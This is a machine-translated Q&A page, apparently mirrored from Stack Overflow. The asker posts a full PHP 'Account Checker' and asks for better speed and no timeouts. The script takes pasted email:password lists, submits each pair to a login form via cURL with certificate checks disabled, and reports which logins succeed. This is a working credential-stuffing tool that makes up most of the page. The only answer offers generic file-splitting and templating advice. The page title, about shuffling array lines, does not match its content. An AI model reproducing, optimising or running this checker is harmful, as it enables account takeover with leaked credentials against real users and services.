想要创建一个脚本,它将获取10行值并将它们在数组中随机播放,然后逐个在脚本上打印它们

时间:2013-05-10 12:36:51

标签: php html

创建一个脚本,它将获取10行值并将它们在数组中随机播放然后在脚本上逐个打印它们是我当前的PHP代码。 我正在尝试修复我的php超时错误加上速度提升

<?php
set_time_limit(0);
function checkmail($email, $password){
    $url = "example";

    $h = curl_init();
    curl_setopt($h, CURLOPT_URL, $url); 
    curl_setopt($h, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($h, CURLOPT_POST, true);
    curl_setopt($h, CURLOPT_POSTFIELDS,  "&loginID=".$email."&password=".$password."&seamlesswebtag=&confirm-signin.x=47&confirm-signin.y=18");
    curl_setopt($h, CURLOPT_HEADER, true);
    curl_setopt($h, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($h, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($h, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($h, CURLOPT_FOLLOWLOCATION, true);

    $result = curl_exec($h);
    return $result;

}

if(isset($_POST['mp'], $_POST['delim'], $_POST['submit'])){
    $mps = preg_split('/\r\n|\r|\n/', $_POST['mp']);
    foreach($mps as $mp){
        $mp = explode($_POST['delim'], $mp);
        $email = $mp[0];
        $password = $mp[1];

        echo $html = checkmail($email, $password);
        $doc = new DOMDocument();
        @$doc->loadHTML($html);
        $nodes = $doc->getElementsByTagName('title');
        $title = $nodes->item(0)->nodeValue;

        if($title == "example header"){
            echo "<br />FAILED - Email: $email - Password: $password";
        }else{
            echo "<br />SUCCESS - Email: $email - Password: $password";
            }
        }
    }
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en">
<head>
    <!-- no cache headers -->
    <meta http-equiv="Pragma" content="no-cache" />
    <metfa http-equiv="Expires" content="-1" />
    <meta http-equiv="Cache-Control" content="no-cache" />
    <!-- end no cache headers -->
    <title>Account Checker</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <style type="text/css">
        body{
            background-color: #333333;
            font-size: 10pt;
            font-family: Verdana;
        }
        body,td,th {
            color: #cccccc;
        }
        h1,h6{
            margin-bottom:10px;
            margin-top:0px;
        }
        select,textarea,.uneditable-input {
            text-align: center;
            border-color: #B333E5;
            border:0px solid gray; 
            resize:none; 
            background-color:#666666;
            color:#ffffff; 
            outline:0; 
            padding:5px; 
            border-radius:30px; 
            -webkit-box-shadow:0px 0px 20px 1px gray;
        }
        select,textarea:focus,.uneditable-input:focus {
            -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            border:0px solid gray; 
            resize:none; 
            background-color:grey;
            color:#ffffff; 
            outline:0; 
            padding:5px; 
            border-radius:30px; 
            -webkit-box-shadow:0px 0px 20px 1px gray;
        }    
        input[type="text"]:hover{
            -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            border:0px solid gray; 
            resize:none; 
            background-color:grey;
            color:#ffffff; 
            outline:0; 
            border-radius:12px; 
            -webkit-box-shadow:0px 0px 20px 1px gray;    
        }
        input[type="text"]{
            text-align: center;
            border-color: #B333E5;
            border:0px solid gray; 
            resize:none; 
            background-color:#666666;
            color:#ffffff; 
            outline:0; 
            border-radius:12px; 
        }
        input[type="submit"]:hover {
            -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            border:0px solid gray; 
            resize:none; 
            background-color:#F7FBFA;
            color:#000; 
            outline:2px; 
            padding:5px; 
            border-radius:30px; 
            -webkit-box-shadow:0px 0px 20px 1px gray;
        }
        input[type="submit"] {    
            -webkit-transition: width 0.6s ease;
            -moz-transition: width 0.6s ease;
            -o-transition: width 0.6s ease;
            border:0px solid gray; 
            resize:none; 
            background-color:#D7D1F8;
            color:#000; 
            outline:0; 
            padding:5px; 
            border-radius:30px; 
            -webkit-box-shadow:0px 0px 15px 1px #333333;
        }
    </style>    
</head>
<body>
    <h1 align="center">
            <b style='color:blue'>Account Checker</b>
    </h1>
    <form action="" method="post">
        <div align="center">
            <textarea name="mp" cols="100" rows="12">email@domain.com:password</textarea>
            <br />
            <b>
                Splitter: <input type="text" name="delim" value=":" style="width:32px;" />
                <input type="submit" value=" Check Now " name="submit" />
            </b>
        </div>
    </form>
    <br />
    <div align="right">
        <p style="font-size:0.7em;font:tahoma;">
        </p>
    </div>
</body>

任何帮助都会有很大的价值,并且会得到很好的尊重。 我只是想要这样它可以更好地运作

1 个答案:

答案 0 :(得分:3)

简单解决方案:将标题PHP代码放在单独的文件中,例如logic.php。然后在HTML代码前添加此行:

<?php require_once('logic.php'); ?>

良好的解决方案:使用适当的模板引擎,如Twig